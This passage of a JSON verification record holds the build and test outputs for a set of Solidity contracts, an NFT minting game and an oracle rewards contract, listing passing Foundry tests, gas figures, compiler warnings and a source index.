passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"31efb7ef956844ef66943d5a48ddaca5b6c2617e9c1f7a4a4bcfc3bc0f7fd244","verifiedTreeHash":"487616254421c674872f7cef30aeef456aa4e209","verifierVersion":"0.1.0+435fe828"},{"checks":[{"durationMs":4396,"exitCode":0,"name":"build","output":"Compiling 76 files with Solc 0.8.30\nSolc 0.8.30 finished in 4.29s\nCompiler run successful with warnings:\nWarning (2519): This declaration shadows an existing declaration.\n   --> src/GodsOfIMDInhabitants.sol:458:13:\n    |\n458 |             uint256 next = block.number + 1;\n    |             ^^^^^^^^^^^^\nNote: The shadowed declaration is here:\n   --> src/GodsOfIMDInhabitants.sol:454:9:\n    |\n454 |         uint256 next = nextToReveal();\n    |         ^^^^^^^^^^^^\n\nWarning (2018): Function state mutability can be restricted to view\n   --> test/Marks.t.sol:152:5:\n    |\n152 |     function test_noEarlyWaves() public {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\n","passed":true},{"durationMs":400,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/audit/WeakPanelRecord.t.sol:WeakPanelRecordTest\n[PASS] test_aThreeSeatPanelCannotApproveARewardWeekAskedOfThirty() (gas: 408480)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.16ms (482.36µs CPU time)\n\nRan 4 tests for test/OracleConformance.t.sol:OracleConformanceTest\n[PASS] test_acceptsAFreshSignatureFromTheVectorKey() (gas: 231379)\n[PASS] test_acceptsTheProtocolSignatureUnderStipend() (gas: 264043)\n[PASS] test_callbackSelectorIsCanonical() (gas: 485)\n[PASS] test_digestMatchesTheProtocol() (gas: 10875)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 1.73ms (934.23µs CPU time)\n\nRan 1 test for test/audit/RevealReroll.t.sol:RevealRerollTest\n[PASS] test_theRevealBlockDoesNotChooseTheMark() (gas: 1142219)\nLogs:\n  mark when revealed at the chosen block: 0\n  mark when revealed at another block: 0\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.51ms (1.98ms CPU time)\n\nRan 6 tests for test/Caps.t.sol:CapsTest\n[PASS] test_cannotClaimSeerSlotsWithoutTheLeaf() (gas: 153889)\n[PASS] test_listSpotIsOneEarlySoulThenTwentyInAll() (gas: 4706957)\n[PASS] test_publicStopsAtTwenty() (gas: 4566694)\n[PASS] test_seerCapCountsEveryForge() (gas: 5771280)\n[PASS] test_seerForgesTwentyFiveAtFour() (gas: 6072385)\n[PASS] test_twentyPerWalletIsBuiltIn() (gas: 7680)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 15.28ms (11.05ms CPU time)\n\nRan 6 tests for test/OracleBinding.t.sol:OracleBindingTest\n[PASS] test_answerToAnotherQuestionIsRefusedByTheCallback() (gas: 801814)\n[PASS] test_directorRelaysGroupAnswers() (gas: 724820)\n[PASS] test_foreignAnswerCannotPreemptRewardsThenOwnAnswerActivates() (gas: 873904)\n[PASS] test_futureDatedAttestationRefused() (gas: 595213)\n[PASS] test_outsiderCannotRelayAnyAnswer() (gas: 345027)\n[PASS] test_unpinnedRequestCannotSettleARepinnedQuestion() (gas: 765890)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 16.14ms (3.77ms CPU time)\n\nRan 11 tests for test/Bazaar.t.sol:BazaarTest\n[PASS] testFuzz_splitIsExact(uint256) (runs: 256, μ: 286556, ~: 288629)\nLogs:\n  Bound result 900000000000000000000\n\n[PASS] test_emitsPurchased() (gas: 139666)\n[PASS] test_itemsFollowTheTokenToItsNewOwner() (gas: 221076)\n[PASS] test_memorialSoulCannotBuy() (gas: 121519)\n[PASS] test_needsTheAllowance() (gas: 135932)\n[PASS] test_onlyTheOwnerMayBuy() (gas: 42991)\n[PASS] test_splitFollowsSetSplit() (gas: 212584)\n[PASS] test_splitIsExactWithRoundingDust() (gas: 285134)\n[PASS] test_splitIsExactlyTheForgeSplit() (gas: 285165)\n[PASS] test_unknownSoulReverts() (gas: 40196)\n[PASS] test_zeroAmountReverts() (gas: 44411)\nSuite result: ok. 11 passed; 0 failed; 0 skipped; finished in 20.90ms (22.32ms CPU time)\n\nRan 7 tests for test/InhabitantsSecurity.t.sol:InhabitantsSecurityTest\n[PASS] testFuzz_copyCannotBlockAnyForgePath(bytes32,uint8) (runs: 256, μ: 637287, ~: 640509)\nLogs:\n  Bound result 1\n\n[PASS] testFuzz_staleRevealNeverDrawsFromKnownFallback(uint256,bytes32) (runs: 256, μ: 390812, ~: 391001)\nLogs:\n  Bound result 999997\n\n[PASS] test_duplicateCannotSwitchPaymentPathsOrBeResetByTransfer() (gas: 640604)\n[PASS] test_hashAt256BlocksStillReveals() (gas: 433872)\n[PASS] test_revealManyProcessesFreshAndStaleSoulsAndSkipsDuplicates() (gas: 1056182)\n[PASS] test_staleRevealRearmsAndLaterRevealsExactlyOnce() (gas: 636164)\n[PASS] test_zeroSoulStillRejectedBeforeNamespacing() (gas: 76678)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 20.96ms (39.57ms CPU time)\n\nRan 9 tests for test/Reserve.t.sol:ReserveTest\n[PASS] test_aReservedSoulCanBeGivenAway() (gas: 287079)\n[PASS] test_fiftyInOneTransactionFitsABlock() (gas: 12154982)\nLogs:\n  gas for 50 reserved souls: 6086589\n\n[PASS] test_manyInOneTransaction() (gas: 12250163)\n[PASS] test_onlyTheOwnerForgesReserved() (gas: 35178)\n[PASS] test_paidSoulsTakeIdsFromOne() (gas: 1115585)\n[PASS] test_reserveIsAHundredOfTheThousand() (gas: 20420)\n[PASS] test_reserveStopsAtAHundred() (gas: 16445045)\n[PASS] test_reservedIsFreeInAnyPhaseAndTakesTheLastIds() (gas: 447986)\n[PASS] test_reservedSoulsAreUniqueAndReveal() (gas: 424844)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 22.45ms (15.21ms CPU time)\n\nRan 15 tests for test/OracleSecurity.t.sol:OracleSecurityTest\n[PASS] testFuzz_panelFloorsApplyToEveryRelay(uint16,uint16,uint16) (runs: 256, μ: 367698, ~: 360728)\nLogs:\n  Bound result 27\n  Bound result 17\n  Bound result 66\n\n[PASS] test_agreementFloorIsIndependentOfQuorum() (gas: 380721)\n[PASS] test_callbackRejectsWrongSenderUnknownAndSettledRequests() (gas: 611215)\n[PASS] test_defaultPanelPolicy() (gas: 22706)\n[PASS] test_failureMovesNoFundsAndUnansweredRewardsCanBeCancelled() (gas: 616011)\n[PASS] test_falseAnswerIsStoredUnderStipendAndReleasesRewards() (gas: 676416)\n[PASS] test_invalidPanelPoliciesAndZeroActionRevert() (gas: 109684)\n[PASS] test_onlyOwnerSetsPolicyAndAction() (gas: 60228)\n[PASS] test_ownerCanRaisePolicyAndAcceptLargerPanel() (gas: 525080)\n[PASS] test_ownerMigratesRewardsActionAfterRetirement() (gas: 1728151)\n[PASS] test_ownerWithdrawsOnlyFreeBalance() (gas: 586449)\n[PASS] test_smallPanelCannotBypassWithEnoughAgreement() (gas: 347571)\n[PASS] test_threeSeatRelayCannotActivateOrRejectRewards() (gas: 741875)\n[PASS] test_unpinnedExpiredAndTamperedAnswersCannotSettle() (gas: 446227)\n[PASS] test_weakCallbackLeavesRequestPendingThenStrongCallbackSucceeds() (gas: 913978)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 22.63ms (29.29ms CPU time)\n\nRan 6 tests for test/Launch.t.sol:LaunchTest\n[PASS] test_constructorsGiveTheOwnerEverything() (gas: 52453)\n[PASS] test_constructorsRejectZeroAddresses() (gas: 497057)\n[PASS] test_constructorsWireTheTwoContracts() (gas: 59727)\n[PASS] test_genesisRulesAreBuiltIn() (gas: 75266)\n[PASS] test_onlyTheOwnerWires() (gas: 88595)\n[PASS] test_ownerWiringThenAFirstForgeSplitsThePrice() (gas: 748770)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 38.79ms (1.16ms CPU time)\n\nRan 12 tests for test/Shift.t.sol:ShiftTest\n[PASS] test_aNewTokenCanBeListedLater() (gas: 1153684)\n[PASS] test_aReferrerGetsFivePercent() (gas: 651129)\n[PASS] test_aSoulForTwoHundredThousandShift() (gas: 410907)\n[PASS] test_badSettingsAreRefused() (gas: 119256)\n[PASS] test_idsAreSharedWithForgesInImd() (gas: 1002281)\n[PASS] test_imdIsSharedAndShiftGoesToItsPayeeAlone() (gas: 934311)\n[PASS] test_needsTheTokenAllowance() (gas: 274196)\n[PASS] test_onlyInThePublicPhase() (gas: 141551)\n[PASS] test_shiftIsListedAtDeploy() (gas: 33589)\n[PASS] test_theOwnerSetsPriceCapBurnAndPayee() (gas: 1023825)\n[PASS] test_theWalletCapCountsBoth() (gas: 4493065)\n[PASS] test_withoutTheTokenOnThisChainItReverts() (gas: 214201)\nSuite result: ok. 12 passed; 0 failed; 0 skipped; finished in 38.75ms (4.95ms CPU time)\n\nRan 1 test for test/OracleSecurity.t.sol:OracleCallbackGasTest\n[PASS] testFuzz_listDeliveryAndRecordRecovery(uint8,bool) (runs: 256, μ: 764584, ~: 845407)\nLogs:\n  Bound result 3\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 38.83ms (38.31ms CPU time)\n\nRan 4 tests for test/EthereumDeployment.t.sol:EthereumDeploymentTest\n[PASS] test_everyConstructorAddressRejectsZero() (gas: 466948)\n[PASS] test_exactEthereumArgumentsAndOwnerRoles() (gas: 133909)\n[PASS] test_factoryHasNoOwnerPowers() (gas: 65145)\n[PASS] test_runtimesMeetProtectedSizeAndOpcodeRules() (gas: 16453719)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 101.77ms (99.66ms CPU time)\n\nRan 5 tests for test/RevealOrder.t.sol:RevealForgeOrderTest\n[PASS] test_greedyRevealerCannotCollectDivines() (gas: 408046634)\n[PASS] test_nextToRevealFollowsForgeOrderAcrossIdRanges() (gas: 775831)\n[PASS] test_notYetRevealableStillRevertsNotRevealable() (gas: 275091)\n[PASS] test_referralSettersRespectListedForgeTokens() (gas: 256847)\n[PASS] test_revealManyInAnyListOrderGivesTheSameMarks() (gas: 8934972)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 169.84ms (175.00ms CPU time)\n\nRan 6 tests for test/Marks.t.sol:MarksTest\n[PASS] test_cannotRevealBeforeTheHashExists() (gas: 509115)\n[PASS] test_everySoulDrawsWithTheSameOdds() (gas: 21397274)\n[PASS] test_fullDeckComesOutExactly() (gas: 279859997)\n[PASS] test_genesisRulesAreBuiltIn() (gas: 93772)\n[PASS] test_noEarlyWaves() (gas: 5627)\n[PASS] test_revealManySkipsWhatIsNotReady() (gas: 646615)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 291.12ms (306.76ms CPU time)\n\nRan 15 test suites in 292.22ms (802.85ms CPU time): 94 tests passed, 0 failed, 0 skipped (94 total tests)\n","passed":true},{"durationMs":59,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"GodsOfIMDInhabitants.approve(address,uint256)\",\"GodsOfIMDInhabitants.commission(uint256,uint8,bytes32)\",\"GodsOfIMDInhabitants.forge(bytes32,address)\",\"GodsOfIMDInhabitants.forgeAllowlist(bytes32,address,uint256,bytes32[])\",\"GodsOfIMDInhabitants.forgeReserved(bytes32)\",\"GodsOfIMDInhabitants.forgeReservedMany(bytes32[])\",\"GodsOfIMDInhabitants.forgeWithToken(address,bytes32,address)\",\"GodsOfIMDInhabitants.petition(uint256,bytes32)\",\"GodsOfIMDInhabitants.purchase(uint256,bytes32,uint256)\",\"GodsOfIMDInhabitants.refresh(uint256)\",\"GodsOfIMDInhabitants.refreshAll()\",\"GodsOfIMDInhabitants.renounceOwnership()\",\"GodsOfIMDInhabitants.reveal(uint256)\",\"GodsOfIMDInhabitants.revealMany(uint256[])\",\"GodsOfIMDInhabitants.safeTransferFrom(address,address,uint256)\",\"GodsOfIMDInhabitants.safeTransferFrom(address,address,uint256,bytes)\",\"GodsOfIMDInhabitants.setAddresses(address,address)\",\"GodsOfIMDInhabitants.setAllowlistRoot(bytes32)\",\"GodsOfIMDInhabitants.setApprovalForAll(address,bool)\",\"GodsOfIMDInhabitants.setBaseURI(string)\",\"GodsOfIMDInhabitants.setForgeToken(address,uint256,uint256,uint16,address)\",\"GodsOfIMDInhabitants.setMaxPerWallet(uint256)\",\"GodsOfIMDInhabitants.setMemorial(uint256,bytes32)\",\"GodsOfIMDInhabitants.setOracleCost(uint256)\",\"GodsOfIMDInhabitants.setPayees((address,uint16)[])\",\"GodsOfIMDInhabitants.setPhase(uint8)\",\"GodsOfIMDInhabitants.setPrices(uint256,uint256,uint256,uint256)\",\"GodsOfIMDInhabitants.setReferralBps(uint16)\",\"GodsOfIMDInhabitants.setRoyalty(address,uint96)\",\"GodsOfIMDInhabitants.setSplit(uint16,uint16,(address,uint16)[])\",\"GodsOfIMDInhabitants.setSteward(address)\",\"GodsOfIMDInhabitants.transferFrom(address,address,uint256)\",\"GodsOfIMDInhabitants.transferOwnership(address)\",\"OracleShrine.anchor(uint64,bytes32,bytes32)\",\"OracleShrine.ask(bytes32,bytes,bytes32[],uint8)\",\"OracleShrine.askRewards(uint64,bytes32,uint256,bytes,bytes32)\",\"OracleShrine.cancelRewards(uint64)\",\"OracleShrine.claim(uint64,address,uint256,bytes32[])\",\"OracleShrine.expireRewards(uint64)\",\"OracleShrine.finalizeRewards(uint64)\",\"OracleShrine.onFailure(bytes32,uint8,bytes32,uint16,uint16,bytes)\",\"OracleShrine.onOracleResult(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"OracleShrine.onResult(bytes32,bytes32,string)\",\"OracleShrine.record((bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"OracleShrine.rejectRewards(uint64)\",\"OracleShrine.renounceOwnership()\",\"OracleShrine.setDirector(address)\",\"OracleShrine.setIntake(address)\",\"OracleShrine.setMaxRewardBps(uint16)\",\"OracleShrine.setMinQuorum(uint16)\",\"OracleShrine.setPanelMinimums(uint16,uint16)\",\"OracleShrine.setPrice(uint256)\",\"OracleShrine.setRewardsAction(bytes32)\",\"OracleShrine.setSigner(address)\",\"OracleShrine.transferOwnership(address)\",\"OracleShrine.unpin(bytes32[])\",\"OracleShrine.withdraw(address,address,uint256)\"],\"files\":{\".gitignore\":3,\"ADAPTATION.md\":61,\"LICENSE\":21,\"README.md\":68,\"foundry.toml\":12,\"launch.json\":1,\"remappings.txt\":2,\"src/GodsOfIMDInhabitants.sol\":809,\"src/OracleShrine.sol\":701,\"src/interfaces/IIntake.sol\":21,\"test/Bazaar.t.sol\":178,\"test/Caps.t.sol\":129,\"test/EthereumDeployment.t.sol\":162,\"test/InhabitantsSecurity.t.sol\":186,\"test/Launch.t.sol\":124,\"test/Marks.t.sol\":156,\"test/OracleBinding.t.sol\":111,\"test/OracleConformance.t.sol\":85,\"test/OracleSecurity.t.sol\":274,\"test/Reserve.t.sol\":167,\"test/RevealOrder.t.sol\":156,\"test/Shift.t.sol\":244,\"test/audit/RevealReroll.t.sol\":89,\"test/audit/WeakPanelRecord.t.sol\":107,\"test/helpers/OracleFixture.sol\":128},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"6035b1d64d916c604d8b2be10176d0ccccb9488013e127e81cb4a0ce2843e4b4","verifiedTreeHash":"82928d0806e70b0e6bcbaded00cfff049476d3fc","verifierVersion":"0.1.0+a490e3c0"},{"checks":[{"durationMs":6347,"exitCode":0,"name":"build","output":"Compiling 79 files with Solc 0.8.30\nSolc 0.8.30 finished in 6.23s\nCompiler run successful with warnings:\nWarning (2018): Function state mutability can be restricted to view\n   --> test/Marks.t.sol:152:5:\n    |\n152 |     function test_noEarlyWaves() public {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\n","passed":true},{"durationMs":46309,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/audit/WeakPanelRecord.t.sol:WeakPanelRecordTest\n[PASS] test_aThreeSeatPanelCannotApproveARewardWeekAskedOfThirty() (gas: 389387)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.12ms (420.42µs CPU time)\n\nRan 4 tests for test/OracleConformance.t.sol:OracleConformanceTest\n[PASS] test_acceptsAFreshSignatureFromTheVectorKey() (gas: 228870)\n[PASS] test_acceptsTheProtocolSignatureUnderStipend() (gas: 261557)\n[PASS] test_callbackSelectorIsCanonical() (gas: 485)\n[PASS] test_digestMatchesTheProtocol() (gas: 10852)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 1.64ms (740.88µs CPU time)\n\nRan 1 test for test/audit/RevealReroll.t.sol:RevealRerollTest\n[PASS] test_theRevealBlockDoesNotChooseTheMark() (gas: 1105499)\nLogs:\n  mark when revealed at the chosen block: 0\n  mark when revealed at another block: 0\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.64ms (1.08ms CPU time)\n\nRan 12 tests for test/Shift.t.sol:ShiftTest\n[PASS] test_aNewTokenCanBeListedLater() (gas: 1131560)\n[PASS] test_aReferrerGetsFivePercent() (gas: 606815)\n[PASS] test_aSoulForTwoHundredThousandShift() (gas: 388761)\n[PASS] test_badSettingsAreRefused() (gas: 119256)\n[PASS] test_idsAreSharedWithForgesInImd() (gas: 913587)\n[PASS] test_imdIsSharedAndShiftGoesToItsPayeeAlone() (gas: 889975)\n[PASS] test_needsTheTokenAllowance() (gas: 252028)\n[PASS] test_onlyInThePublicPhase() (gas: 141639)\n[PASS] test_shiftIsListedAtDeploy() (gas: 33655)\n[PASS] test_theOwnerSetsPriceCapBurnAndPayee() (gas: 957387)\n[PASS] test_theWalletCapCountsBoth() (gas: 4049727)\n[PASS] test_withoutTheTokenOnThisChainItReverts() (gas: 192033)\nSuite result: ok. 12 passed; 0 failed; 0 skipped; finished in 4.59ms (4.06ms CPU time)\n\nRan 6 tests for test/Launch.t.sol:LaunchTest\n[PASS] test_constructorsGiveTheOwnerEverything() (gas: 52430)\n[PASS] test_constructorsRejectZeroAddresses() (gas: 489765)\n[PASS] test_constructorsWireTheTwoContracts() (gas: 59660)\n[PASS] test_genesisRulesAreBuiltIn() (gas: 75354)\n[PASS] test_onlyTheOwnerWires() (gas: 88551)\n[PASS] test_ownerWiringThenAFirstForgeSplitsThePrice() (gas: 726470)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 21.55ms (1.35ms CPU time)\n\nRan 9 tests for test/Reserve.t.sol:ReserveTest\n[PASS] test_aReservedSoulCanBeGivenAway() (gas: 264889)\n[PASS] test_fiftyInOneTransactionFitsABlock() (gas: 9936004)\nLogs:\n  gas for 50 reserved souls: 4977089\n\n[PASS] test_manyInOneTransaction() (gas: 10031207)\n[PASS] test_onlyTheOwnerForgesReserved() (gas: 35178)\n[PASS] test_paidSoulsTakeIdsFromOne() (gas: 1004701)\n[PASS] test_reserveIsAHundredOfTheThousand() (gas: 20486)\n[PASS] test_reserveStopsAtAHundred() (gas: 14226045)\n[PASS] test_reservedIsFreeInAnyPhaseAndTakesTheLastIds() (gas: 403650)\n[PASS] test_reservedSoulsAreUniqueAndReveal() (gas: 396760)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 42.41ms (9.00ms CPU time)\n\nRan 11 tests for test/Bazaar.t.sol:BazaarTest\n[PASS] testFuzz_splitIsExact(uint256) (runs: 256, μ: 286454, ~: 288661)\nLogs:\n  Bound result 712721769742982909665\n\n[PASS] test_emitsPurchased() (gas: 139710)\n[PASS] test_itemsFollowTheTokenToItsNewOwner() (gas: 221120)\n[PASS] test_memorialSoulCannotBuy() (gas: 121563)\n[PASS] test_needsTheAllowance() (gas: 135954)\n[PASS] test_onlyTheOwnerMayBuy() (gas: 43013)\n[PASS] test_splitFollowsSetSplit() (gas: 212624)\n[PASS] test_splitIsExactWithRoundingDust() (gas: 285178)\n[PASS] test_splitIsExactlyTheForgeSplit() (gas: 285209)\n[PASS] test_unknownSoulReverts() (gas: 40218)\n[PASS] test_zeroAmountReverts() (gas: 44433)\nSuite result: ok. 11 passed; 0 failed; 0 skipped; finished in 64.45ms (64.97ms CPU time)\n\nRan 7 tests for test/InhabitantsSecurity.t.sol:InhabitantsSecurityTest\n[PASS] testFuzz_copyCannotBlockAnyForgePath(bytes32,uint8) (runs: 256, μ: 592971, ~: 596217)\nLogs:\n  Bound result 3\n\n[PASS] testFuzz_staleRevealNeverDrawsFromKnownFallback(uint256,bytes32) (runs: 256, μ: 360726, ~: 360919)\nLogs:\n  Bound result 859033\n\n[PASS] test_duplicateCannotSwitchPaymentPathsOrBeResetByTransfer() (gas: 618537)\n[PASS] test_hashAt256BlocksStillReveals() (gas: 405791)\n[PASS] test_revealManyProcessesFreshAndStaleSoulsAndSkipsDuplicates() (gas: 826930)\n[PASS] test_staleRevealRearmsAndLaterRevealsExactlyOnce() (gas: 600235)\n[PASS] test_zeroSoulStillRejectedBeforeNamespacing() (gas: 76700)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 79.33ms (101.24ms CPU time)\n\nRan 1 test for test/OracleSecurity.t.sol:OracleCallbackGasTest\n[PASS] testFuzz_listDeliveryAndRecordRecovery(uint8,bool) (runs: 256, μ: 738344, ~: 815429)\nLogs:\n  Bound result 5\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 80.57ms (79.94ms CPU time)\n\nRan 4 tests for test/EthereumDeployment.t.sol:EthereumDeploymentTest\n[PASS] test_everyConstructorAddressRejectsZero() (gas: 459656)\n[PASS] test_exactEthereumArgumentsAndOwnerRoles() (gas: 133929)\n[PASS] test_factoryHasNoOwnerPowers() (gas: 65101)\n[PASS] test_runtimesMeetProtectedSizeAndOpcodeRules() (gas: 15972065)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 172.99ms (113.04ms CPU time)\n\nRan 6 tests for test/Caps.t.sol:CapsTest\n[PASS] test_cannotClaimSeerSlotsWithoutTheLeaf() (gas: 153825)\n[PASS] test_listSpotIsOneEarlySoulThenTwentyInAll() (gas: 4263599)\n[PASS] test_publicStopsAtTwenty() (gas: 4123400)\n[PASS] test_seerCapCountsEveryForge() (gas: 5217016)\n[PASS] test_seerForgesTwentyFiveAtFour() (gas: 5518187)\n[PASS] test_twentyPerWalletIsBuiltIn() (gas: 7680)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 190.93ms (9.52ms CPU time)\n\nRan 11 tests for test/OracleBoundaries.t.sol:OracleBoundariesTest\n[PASS] testFuzz_everyAttestationFieldIsAuthenticated(uint8) (runs: 1000, μ: 695444, ~: 695531)\nLogs:\n  Bound result 13\n\n[PASS] test_contractSignerChecksDigestAndSignatureAndRotationRevokesOldKey() (gas: 734137)\n[PASS] test_directorRotationAndAnchorsAreWriteOnce() (gas: 302582)\n[PASS] test_exactExpiryIsAcceptedButOneSecondLaterIsNot() (gas: 469868)\n[PASS] test_failedIntakePurchaseRollsBackPinsAndApproval() (gas: 161438)\n[PASS] test_groupCompletionDoesNotInventJudgmentsAndRelaysRemainAvailable() (gas: 1938930)\n[PASS] test_invalidOwnerSettingsAndDisabledRewards() (gas: 231961)\n[PASS] test_invalidQuestionBatchesAreAtomic() (gas: 239724)\n[PASS] test_ownerAndDirectorPrivilegesAreSeparate() (gas: 481798)\n[PASS] test_resultAndFailureCallbacksRejectWrongSendersAndUnknownIds() (gas: 395125)\n[PASS] test_signaturesCannotCrossConsumerOrDomainChain() (gas: 4556591)\nSuite result: ok. 11 passed; 0 failed; 0 skipped; finished in 190.87ms (193.78ms CPU time)\n\nRan 12 tests for test/InhabitantsFailures.t.sol:InhabitantsFailuresTest\n[PASS] testFuzz_forgeDistributesEveryWeiAcrossValidSplits(uint96,uint16,uint16,bool) (runs: 1000, μ: 801217, ~: 792527)\nLogs:\n  Bound result 10\n  Bound result 2\n  Bound result 0\n\n[PASS] testFuzz_latePaymentFailureRollsBackEveryMintPath(uint8) (runs: 1000, μ: 1263723, ~: 1251203)\nLogs:\n  Bound result 1\n\n[PASS] testFuzz_serviceCostIsCappedByThePayment(uint96,uint96,bool) (runs: 1000, μ: 534845, ~: 532689)\nLogs:\n  Bound result 2173316156168526\n  Bound result 376\n\n[PASS] test_allowlistRootChangesDoNotResetConsumedSlots() (gas: 781157)\n[PASS] test_approvalDoesNotGrantGameOwnerRightsAndMemorialIsPermanent() (gas: 783586)\n[PASS] test_invalidPayeesAndSplitLeaveTheOriginalConfigurationIntact() (gas: 383493)\n[PASS] test_metadataAndRoyaltiesRemainCompatibleWithTheirInterfaces() (gas: 575297)\n[PASS] test_oneWeiAndZeroPriceAreExact() (gas: 631913)\n[PASS] test_ownerControlsRejectEveryPlayerCall() (gas: 451407)\n[PASS] test_receiverCannotReenterForgeButOuterMintSucceeds() (gas: 915547)\n[PASS] test_rejectingReceiverRollsBackTransfersAndRegistration() (gas: 913470)\n[PASS] test_reservedBatchFailureDoesNotKeepEarlierMints() (gas: 421035)\nSuite result: ok. 12 passed; 0 failed; 0 skipped; finished in 190.95ms (434.49ms CPU time)\n\nRan 16 tests for test/RewardsStateMachine.t.sol:RewardsStateMachineTest\n[PASS] testFuzz_onlyCanonicalTrueActivatesRewards(uint8) (runs: 1000, μ: 682612, ~: 677168)\nLogs:\n  Bound result 0\n\n[PASS] testFuzz_partialClaimsThenExpireConserveAssets(uint96,uint96) (runs: 1000, μ: 917402, ~: 917236)\nLogs:\n  Bound result 857\n  Bound result 1569\n\n[PASS] testFuzz_weekIdentifiersAndClaimsAreIndependent(uint64) (runs: 1000, μ: 1343623, ~: 1344278)\n[PASS] test_capUsesFreeBalanceAndCannotDoubleReserveAWeekOrQuestion() (gas: 881355)\n[PASS] test_expiryReleasesOnlyTheUnclaimedRemainderAtTheBoundary() (gas: 931527)\n[PASS] test_failedRewardTransferRestoresClaimAndReservation() (gas: 858815)\n[PASS] test_invalidClaimCannotConsumeAClaimOrTheReservation() (gas: 855083)\n[PASS] test_invalidProposalInputsLeaveNoReservation() (gas: 182191)\n[PASS] test_noJudgmentCannotActivateOrRejectAndClaimRequiresActive() (gas: 547791)\n[PASS] test_ordinaryQuestionCannotSpendReservedRewards() (gas: 1099672)\n[PASS] test_recordedJudgmentPreventsTimeoutCancellation() (gas: 934573)\n[PASS] test_reservingEverythingCannotSpendTheReservationOnTheFee() (gas: 307400)\n[PASS] test_timeoutBoundaryAndCancelledWeekCanBeReproposed() (gas: 853884)\n[PASS] test_twoLeafClaimsPayTheBeneficiaryAndProtectOtherWeeks() (gas: 1274592)\n[PASS] test_unpinBatchIsAtomicAndReleasesOnlyItsProposedWeek() (gas: 1114140)\n[PASS] test_validLeafCannotSpendMoreThanTheWeekReserved() (gas: 685613)\nSuite result: ok. 16 passed; 0 failed; 0 skipped; finished in 191.02ms (543.93ms CPU time)\n\nRan 15 tests for test/OracleSecurity.t.sol:OracleSecurityTest\n[PASS] testFuzz_panelFloorsApplyToEveryRelay(uint16,uint16,uint16) (runs: 256, μ: 340440, ~: 333509)\nLogs:\n  Bound result 7\n  Bound result 47\n  Bound result 10\n\n[PASS] test_agreementFloorIsIndependentOfQuorum() (gas: 353481)\n[PASS] test_callbackRejectsWrongSenderUnknownAndSettledRequests() (gas: 581489)\n[PASS] test_defaultPanelPolicy() (gas: 22772)\n[PASS] test_failureMovesNoFundsAndUnansweredRewardsCanBeCancelled() (gas: 593878)\n[PASS] test_falseAnswerIsStoredUnderStipendAndReleasesRewards() (gas: 651774)\n[PASS] test_invalidPanelPoliciesAndZeroActionRevert() (gas: 109772)\n[PASS] test_onlyOwnerSetsPolicyAndAction() (gas: 60272)\n[PASS] test_ownerCanRaisePolicyAndAcceptLargerPanel() (gas: 497562)\n[PASS] test_ownerMigratesRewardsActionAfterRetirement() (gas: 1678756)\n[PASS] test_ownerWithdrawsOnlyFreeBalance() (gas: 564294)\n[PASS] test_smallPanelCannotBypassWithEnoughAgreement() (gas: 320331)\n[PASS] test_threeSeatRelayCannotActivateOrRejectRewards() (gas: 608821)\n[PASS] test_unpinnedExpiredAndTamperedAnswersCannotSettle() (gas: 412995)\n[PASS] test_weakCallbackLeavesRequestPendingThenStrongCallbackSucceeds() (gas: 887063)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 191.29ms (185.81ms CPU time)\n\nRan 6 tests for test/Marks.t.sol:MarksTest\n[PASS] test_cannotRevealBeforeTheHashExists() (gas: 481122)\n[PASS] test_everySoulDrawsWithTheSameOdds() (gas: 19713734)\n[PASS] test_fullDeckComesOutExactly() (gas: 251754819)\n[PASS] test_genesisRulesAreBuiltIn() (gas: 93838)\n[PASS] test_noEarlyWaves() (gas: 5627)\n[PASS] test_revealManySkipsWhatIsNotReady() (gas: 594436)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 306.74ms (314.82ms CPU time)\n\nRan 2 tests for test/invariant/RewardAccounting.t.sol:RewardAccountingInvariantTest\n[PASS]\nRewardAccountingInvariantTest invariants:\n[PASS] invariant_allFundedTokensAreAccountedFor\n[PASS] invariant_reservationsMatchEveryWeekAndRemainSolvent\n[PASS] invariant_validActionsDoNotSilentlyRevert\n RewardAccountingInvariantTest invariants (runs: 256, calls: 24576, reverts: 0)\n\n╭-------------------------+---------------+-------+---------+----------╮\n| Contract                | Selector      | Calls | Reverts | Discards |\n+======================================================================+\n| RewardAccountingHandler | buyQuestions  | 2266  | 0       | 0        |\n|-------------------------+---------------+-------+---------+----------|\n| RewardAccountingHandler | claimReward   | 2189  | 0       | 0        